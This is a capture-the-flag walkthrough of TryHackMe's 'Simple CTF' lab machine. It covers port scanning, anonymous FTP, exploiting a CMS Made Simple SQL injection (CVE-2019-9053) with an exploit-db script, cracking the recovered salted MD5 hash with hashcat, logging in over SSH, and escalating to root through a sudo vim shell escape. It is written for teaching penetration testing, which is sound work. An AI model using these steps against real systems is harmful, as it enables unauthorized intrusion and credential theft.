Featured image

A Simple Capture the Flag From TryHackMe Link to heading

Simple CTF Is an easy-level boot-to-root (b2r) machine hosted by the excellent TryHackMe site. This challenge has us exploiting a poorly configured CMS to gain access to the host machine. The task questions guide us through the path to exploit the machine and provide some hints as to where to look. Flags and passwords have been removed to keep the suspense :)

First thing’s first, join the room and deploy the VM!

First Steps: Enumeration Link to heading

The first step in any successful exploitation is to find an entry point. The tool of choice for this is, of course, nmap. nmap is a powerful tool that allows us to scan a target machine for open ports. We’ll use the aggressive (-A) option, as we aren’t in much danger of detection here. Let’s do this:


nmap -sS -A $TARGET_IP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-03 23:36 CEST
Nmap scan report for $TARGET_IP
Host is up (0.029s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.11.9.172
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (92%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux 2.6.32 (86%), Linux 2.6.32 - 3.1 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   28.20 ms $LOCAL_SUBNET_ID
2   28.84 ms $TARGET_IP

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.33 seconds

There’s a lot of information here.

First we seem to have 3 ports open:

  • 21/ftp
  • 80/http
  • 2222/ssh

This allows us to answer the first two questions:

Next: Exploration Link to heading

We have several promising openings, let’s explore them.

FTP Link to heading

ftp seems easy enough to access. Our nmap probe shows that anonymous access is allowed, sweet!


ftp $TARGET_IP


Connected to $TARGET_IP.
220 (vsFTPd 3.0.3)
Name ($TARGET_IP:hydra): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 17  2019 pub
226 Directory send OK.
cd pub
250 Directory successfully changed.
ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           166 Aug 17  2019 ForMitch.txt
226 Directory send OK.
get ForMitch.txt
local: ForMitch.txt remote: ForMitch.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for ForMitch.txt (166 bytes).
226 Transfer complete.
166 bytes received in 0.00 secs (334.2461 kB/s)
exit

In the ftp root, there was a directory called pub. Inside there was a file called ForMitch.txt. We grabbed that file, let’s open it:


cat ForMitch.txt
Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

So we can glean three crucial pieces of information:

  1. There’s a user on the system likely called mitch
  2. He has the same password on some application as the system
  3. His password is incredibly weak. We’ll likely be able to crack it with rockyou.txt, or if it’s a stronger hash, then a shorter list might also be able to crack it.

There’s nothing else on the ftp server, so let’s keep going.

HTTP Link to heading

Our nmap probe showed the presence of a robots.txt file on the server. Let’s see what’s on it:


curl $TARGET_IP/robots.txt
#
# "$Id: robots.txt 3494 2003-03-19 15:37:44Z mike $"
#
#   This file tells search engines not to index your CUPS server.
#
#   Copyright 1993-2003 by Easy Software Products.
#
#   These coded instructions, statements, and computer programs are the
#   property of Easy Software Products and are protected by Federal
#   copyright law.  Distribution and use rights are outlined in the file
#   "LICENSE.txt" which should have been included with this file.  If this
#   file is missing or damaged please contact Easy Software Products
#   at:
#
#       Attn: CUPS Licensing Information
#       Easy Software Products
#       44141 Airport View Drive, Suite 204
#       Hollywood, Maryland 20636-3111 USA
#
#       Voice: (301) 373-9600
#       EMail: [email protected]
#         WWW: http://www.cups.org
#

User-agent: *
Disallow: /


Disallow: /openemr-5_0_1_3
#
# End of "$Id: robots.txt 3494 2003-03-19 15:37:44Z mike $".
#

What a mess! Let’s dissassemble what we found:

  • We have a comment indicating the presence of a CUPS (Common UNIX Printing System) server. However, since none of the usual ports were open, we can discount this.
  • There’s possibly something at /openemr-5_0_1_3 that we can check out.
  • There may be a user called mike on the system. Perhaps he wrote the note to Mitch?

The only interesting thing we found is the openemr directory. Let’s see if there’s anything there


curl $TARGET_IP/openemr-5_0_1_3
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /openemr-5_0_1_3 was not found on this server.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at $TARGET_IP Port 80</address>
</body></html>


404, too bad for us. Let’s see what else might be on the server. gobuster is a good tool to rapidly scan a wordlist to discover directories and files on a web server.


gobuster dir -u http://$TARGET_IP -w /usr/share/dirb/wordlists/big.txt -t 128
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://$TARGET_IP
[+] Threads:        128
[+] Wordlist:       /usr/share/dirb/wordlists/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/03 23:55:30 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/robots.txt (Status: 200)
/server-status (Status: 403)
/simple (Status: 301)
===============================================================
2020/06/03 23:55:40 Finished
===============================================================

The /simple URI looks interesting, let’s see what’s behind there

curl http://$TARGET_IP/simple/

I won’t print the response here suffice to say it’s quite dense. Let’s try via firefox.

On the home page, we see that we have a fresh installation of a CMS application called CMS Made Simple

Simple CMS 2.2.8

Let’s try to see if there are any known exploits for this application. We can check google for any related CVEs. A CVE (Common Vulnerabilities and Exposures) is a record of a vulnerablity in a given application. It is typically given a number, preceded by it’s year of discovery. For example, CVE-2019-1234 would be the 1234th vulnerability discovered in 2019.

Searching for CMS Made Simple 2.2.8, I got to the following site: https://www.cvedetails.com/vulnerability-list/vendor_id-3206/product_id-5627/version_id-270038/Cmsmadesimple-Cms-Made-Simple-2.2.8.html

We see 4 vulnerabilities, including an unauthenticated SQL Injection vulnerability: CVE-2019-9053

CVEs for CMSMS

With this, we can answer the next 2 questions on the task:

Exploitation Link to heading

Now that we found a potential entry point, let’s go about exploiting it. We can lookup exploitdb for the CVE number, or we can use the exploitdb on kali:


searchsploit "CMS Made Simple"
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
-------------------------------------------------------------------------------------- ---------------------------------
CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Execution (Metasploit)    | php/remote/46627.rb
CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting                               | php/webapps/26298.txt
CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion                               | php/webapps/26217.html
CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting                            | php/webapps/29272.txt
CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection                                | php/webapps/29941.txt
CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities               | php/webapps/32668.txt
CMS Made Simple 1.11.9 - Multiple Vulnerabilities                                     | php/webapps/43889.txt
CMS Made Simple 1.2 - Remote Code Execution                                           | php/webapps/4442.txt
CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection                                  | php/webapps/4810.txt
CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload                      | php/webapps/5600.php
CMS Made Simple 1.4.1 - Local File Inclusion                                          | php/webapps/7285.txt
CMS Made Simple 1.6.2 - Local File Disclosure                                         | php/webapps/9407.txt
CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting                   | php/webapps/33643.txt
CMS Made Simple 1.6.6 - Multiple Vulnerabilities                                      | php/webapps/11424.txt
CMS Made Simple 1.7 - Cross-Site Request Forgery                                      | php/webapps/12009.html
CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion                         | php/webapps/34299.py
CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request Forgery               | php/webapps/34068.html
CMS Made Simple 2.1.6 - Multiple Vulnerabilities                                      | php/webapps/41997.txt
CMS Made Simple 2.1.6 - Remote Code Execution                                         | php/webapps/44192.txt
CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution                         | php/webapps/44976.py
CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution                         | php/webapps/45793.py
CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning                       | php/webapps/39760.txt
CMS Made Simple < 2.2.10 - SQL Injection                                              | php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload                      | php/webapps/34300.py
CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload                 | php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload        | php/webapps/46546.py
-------------------------------------------------------------------------------------- ---------------------------------

The one we want is the SQL Injection, we can see that it points to php/webapps/46635.py. On a Kali Linux, the exploits can be found at /usr/share/exploitdb/exploits. This one has a handy python script (In Python 2, unfortunately). We can copy it to a working directory and attempt to execute it.


python 46635.py
[+] Specify an url target
[+] Example usage (no cracking password): exploit.py -u http://target-uri
[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist
[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.

I never got the cracking part to work, but your milage may vary.


python3 46635.py -u http://$TARGET_IP/simple/
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96

We have a salted hash for mitch. This looks like MD5, so let’s fire up hashcat.


hashcat -O -a 0 -m 10 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txt
hashcat (v5.1.0) starting...

OpenCL Platform #1: Advanced Micro Devices, Inc.
================================================
* Device #1: gfx900, 6732/8176 MB allocatable, 56MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Optimized-Kernel
* Zero-Byte
* Precompute-Init
* Precompute-Merkle-Demgard
* Meet-In-The-Middle
* Early-Skip
* Not-Iterated
* Appended-Salt
* Single-Hash
* Single-Salt
* Raw-Hash

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 51

Watchdog: Temperature abort trigger set to 90c

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Type........: md5($pass.$salt)
Hash.Target......: 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2
Time.Started.....: Sat Jun 06 00:12:27 2020 (3 secs)
Time.Estimated...: Sat Jun 06 00:12:30 2020 (0 secs)
Guess.Base.......: File (D:\Downloads\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 10314.2 kH/s (2.04ms) @ Accel:256 Loops:1 Thr:256 Vec:1
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 3094/14344384 (0.02%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: $HEX[4a6f6e617468616e3737] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util:  0% Core:1685MHz Mem: 945MHz Bus:16

Started: Sat Jun 06 00:12:05 2020
Stopped: Sat Jun 06 00:12:32 2020

That didn’t work, though maybe the salt is prepended to the password before hashing. Let’s try that this time (hashcat mode 20)


hashcat -O -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txt
hashcat (v5.1.0) starting...

OpenCL Platform #1: Advanced Micro Devices, Inc.
================================================
* Device #1: gfx900, 6732/8176 MB allocatable, 56MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Optimized-Kernel
* Zero-Byte
* Precompute-Init
* Precompute-Merkle-Demgard
* Early-Skip
* Not-Iterated
* Prepended-Salt
* Single-Hash
* Single-Salt
* Raw-Hash

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 51

Watchdog: Temperature abort trigger set to 90c

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:******

Session..........: hashcat
Status...........: Cracked
Hash.Type........: md5($salt.$pass)
Hash.Target......: 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2
Time.Started.....: Sat Jun 06 00:15:30 2020 (1 sec)
Time.Estimated...: Sat Jun 06 00:15:31 2020 (0 secs)
Guess.Base.......: File (D:\Downloads\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   128.0 MH/s (2.22ms) @ Accel:256 Loops:1 Thr:256 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3670908/14344384 (25.59%)
Rejected.........: 892/3670908 (0.02%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> smw1082
Hardware.Mon.#1..: Util:  0% Core:1684MHz Mem: 945MHz Bus:16

Started: Sat Jun 06 00:15:16 2020
Stopped: Sat Jun 06 00:15:33 2020

Bingo! we found the password. If we remember the note from earlier, We can now answer the next few questions:

Gaining a Foothold Link to heading

Let’s see what we can see on the machine:


ssh mitch@$TARGET_IP -p 2222
The authenticity of host '[$TARGET_IP]:2222 ([$TARGET_IP]:2222)' can't be established.
ECDSA key fingerprint is SHA256:Fce5J4GBLgx1+iaSMBjO+NFKOjZvL5LOVF5/jc0kwt8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[$TARGET_IP]:2222' (ECDSA) to the list of known hosts.
mitch@$TARGET_IP's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190

Let’s look around and answer the next few questions


cat user.txt


ls /home
mitch  sunbath

Privilege Escalation Link to heading

Getting into the machine is all well and good, but we want to get a user with actual rights ;). Let’s try to escalate to root. Oftentimes we can get a root shell by abusing misconfigurations in the system. sudo is generally a good first candidate to check. We can see what rights a user has using the sudo -l command.


sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Vim is a text editor with many interesting features, one of which is spawning a shell. Running vim with sudo will allow us to then spawn a root shell!

Let’s fire up vim.


sudo vim

Once inside, we can spawn a shell with the following command:

:!bash

With that, we can readily grab the last flag and answer the final question.


cat /root/root.txt

Congratulations, you’ve just pwned the machine!